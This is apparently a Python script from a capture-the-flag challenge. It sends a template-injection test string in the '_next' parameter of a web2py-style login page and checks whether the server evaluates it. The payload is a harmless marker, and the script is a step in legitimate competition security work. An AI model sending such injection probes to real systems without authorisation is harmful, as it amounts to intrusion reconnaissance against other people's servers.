import requests, urllib3
urllib3.disable_warnings()

r = requests.get(
    'https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org/welcome/default/user/login', 
    params={'_next': "{{='EVAL_MARKER'}}"},  
    verify=False
)

print('EVAL_MARKER count:', r.text.count('EVAL_MARKER'))
print('Template string {{=... count:', r.text.count("{{="))

# Check if the evaluated marker appears outside the template syntax
if 'EVAL_MARKER' in r.text:
    # Find where it appears
    import re
    matches = [m.start() for m in re.finditer('EVAL_MARKER', r.text)]
    print(f'\nFound at positions: {matches}')
    
    for pos in matches:
        context = r.text[max(0,pos-50):pos+100]
        print(f'\nContext at {pos}:')
        print(context)
        
        # Check if it's inside {{=...}} or standalone
        before = r.text[max(0,pos-20):pos]
        if "{{='" in before:
            print("  -> Inside template syntax (not evaluated)")
        else:
            print("  -> STANDALONE (possibly evaluated!)")